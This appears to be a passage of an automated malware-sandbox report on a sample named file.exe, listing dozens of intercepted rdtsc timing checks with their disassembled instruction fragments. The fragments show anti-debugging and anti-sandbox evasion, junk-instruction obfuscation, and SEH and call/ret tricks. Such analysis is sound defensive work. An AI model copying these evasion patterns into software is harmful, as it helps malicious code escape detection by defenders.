Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114541C second address: 1145423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145423 second address: 1145429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145429 second address: 114543C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEDA51D0EB6h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114543C second address: 1145459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FEDA531E8D8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145459 second address: 1145463 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FEDA51D0EB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145643 second address: 1145649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145649 second address: 1145655 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11457A7 second address: 11457AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11457AB second address: 11457B1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11457B1 second address: 11457B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114592B second address: 114592F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145BE0 second address: 1145BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145BED second address: 1145BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147578 second address: 1147589 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEDA531E8CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147743 second address: 1147748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147748 second address: 114774D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114774D second address: 1147769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEDA51D0EC1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114789B second address: 11478AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA531E8CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168AEC second address: 1168AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EBDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A4E second address: 1166A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166BAB second address: 1166BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EC5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166BC5 second address: 1166BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEDA531E8D8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166BE3 second address: 1166C1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC5h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEDA51D0EC9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166C1C second address: 1166C28 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166FD5 second address: 1166FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11672A1 second address: 11672AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11672AA second address: 11672DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EBAh 0x00000009 jno 00007FEDA51D0EB6h 0x0000000f popad 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FEDA51D0EC6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116741C second address: 116743C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jnl 00007FEDA531E8C6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11679F5 second address: 11679FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11679FB second address: 1167A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167A00 second address: 1167A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167A08 second address: 1167A38 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEDA531E8CDh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FEDA531E8D7h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167A38 second address: 1167A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116896C second address: 116899C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA531E8D4h 0x00000009 jmp 00007FEDA531E8D3h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B229 second address: 116B235 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEDA51D0EBEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B235 second address: 116B241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEDA531E8CEh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130C52 second address: 1130C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130C58 second address: 1130C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C022 second address: 116C028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C028 second address: 116C02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C02C second address: 116C05B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FEDA51D0EC3h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116ED61 second address: 116ED6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116ED6B second address: 116ED71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116ED71 second address: 116ED76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116ED76 second address: 116ED88 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEDA51D0EBCh 0x00000008 jns 00007FEDA51D0EB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D652 second address: 112D66C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEDA531E8CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEDA531E8CAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D66C second address: 112D670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11767DB second address: 11767FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEDA531E8C6h 0x0000000a push edx 0x0000000b jmp 00007FEDA531E8D4h 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175FF0 second address: 1175FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176277 second address: 117627B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117627B second address: 1176298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EC7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176298 second address: 1176302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jmp 00007FEDA531E8D5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FEDA531E8CBh 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jnc 00007FEDA531E8C6h 0x00000020 jmp 00007FEDA531E8D7h 0x00000025 popad 0x00000026 pushad 0x00000027 jmp 00007FEDA531E8D5h 0x0000002c pushad 0x0000002d popad 0x0000002e push esi 0x0000002f pop esi 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11765F2 second address: 1176613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEDA51D0EC5h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176613 second address: 1176617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176617 second address: 117661D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117661D second address: 1176635 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178776 second address: 117877B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117877B second address: 11787A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FEDA531E8C8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11787A6 second address: 11787D7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FEDA51D0EC6h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push esi 0x0000000e push eax 0x0000000f jc 00007FEDA51D0EB6h 0x00000015 pop eax 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11787D7 second address: 11787DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11787DB second address: 1178803 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 stc 0x00000009 call 00007FEDA51D0EB9h 0x0000000e push ecx 0x0000000f pushad 0x00000010 jl 00007FEDA51D0EB6h 0x00000016 jne 00007FEDA51D0EB6h 0x0000001c popad 0x0000001d pop ecx 0x0000001e push eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178803 second address: 1178835 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEDA531E8D4h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FEDA531E8CBh 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178835 second address: 117883F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEDA51D0EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117883F second address: 1178849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FEDA531E8C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178849 second address: 117885A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117885A second address: 117885E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178E54 second address: 1178E6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEDA51D0EC1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117943D second address: 117945E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b jc 00007FEDA531E8D8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007FEDA531E8C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11794F6 second address: 11794FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179AB2 second address: 1179AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179AB6 second address: 1179B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e je 00007FEDA51D0EBAh 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 nop 0x00000019 xchg eax, ebx 0x0000001a jo 00007FEDA51D0ECDh 0x00000020 jmp 00007FEDA51D0EC7h 0x00000025 push eax 0x00000026 pushad 0x00000027 jp 00007FEDA51D0EB8h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FEDA51D0EBEh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B9D1 second address: 117B9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B9D6 second address: 117BA01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jng 00007FEDA51D0EBCh 0x00000011 jnc 00007FEDA51D0EB6h 0x00000017 push eax 0x00000018 push edx 0x00000019 jng 00007FEDA51D0EB6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C2DF second address: 117C30B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEDA531E8D2h 0x0000000c jno 00007FEDA531E8C6h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jbe 00007FEDA531E8C8h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D020 second address: 117D026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D026 second address: 117D02C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D02C second address: 117D030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D8E1 second address: 117D8E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D8E7 second address: 117D902 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D902 second address: 117D907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180DDE second address: 1180DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180DE4 second address: 1180DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEDA531E8D0h 0x0000000a jmp 00007FEDA531E8CAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180DF8 second address: 1180DFD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180DFD second address: 1180E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180E03 second address: 1180E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jnp 00007FEDA51D0ECEh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180E2C second address: 1180E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEDA531E8C6h 0x0000000a jne 00007FEDA531E8C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180E3E second address: 1180E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180E49 second address: 1180E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135D2A second address: 1135D65 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 jmp 00007FEDA51D0EC9h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEDA51D0EC5h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135D65 second address: 1135D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118278C second address: 1182792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182792 second address: 1182796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182F73 second address: 1182FF5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, ebx 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov edi, 2711DB9Ch 0x00000017 mov dword ptr [ebp+122D2216h], edx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007FEDA51D0EB8h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e or dword ptr [ebp+122D2CEBh], esi 0x00000044 mov eax, dword ptr [ebp+122D1321h] 0x0000004a push 00000000h 0x0000004c push ebp 0x0000004d call 00007FEDA51D0EB8h 0x00000052 pop ebp 0x00000053 mov dword ptr [esp+04h], ebp 0x00000057 add dword ptr [esp+04h], 00000016h 0x0000005f inc ebp 0x00000060 push ebp 0x00000061 ret 0x00000062 pop ebp 0x00000063 ret 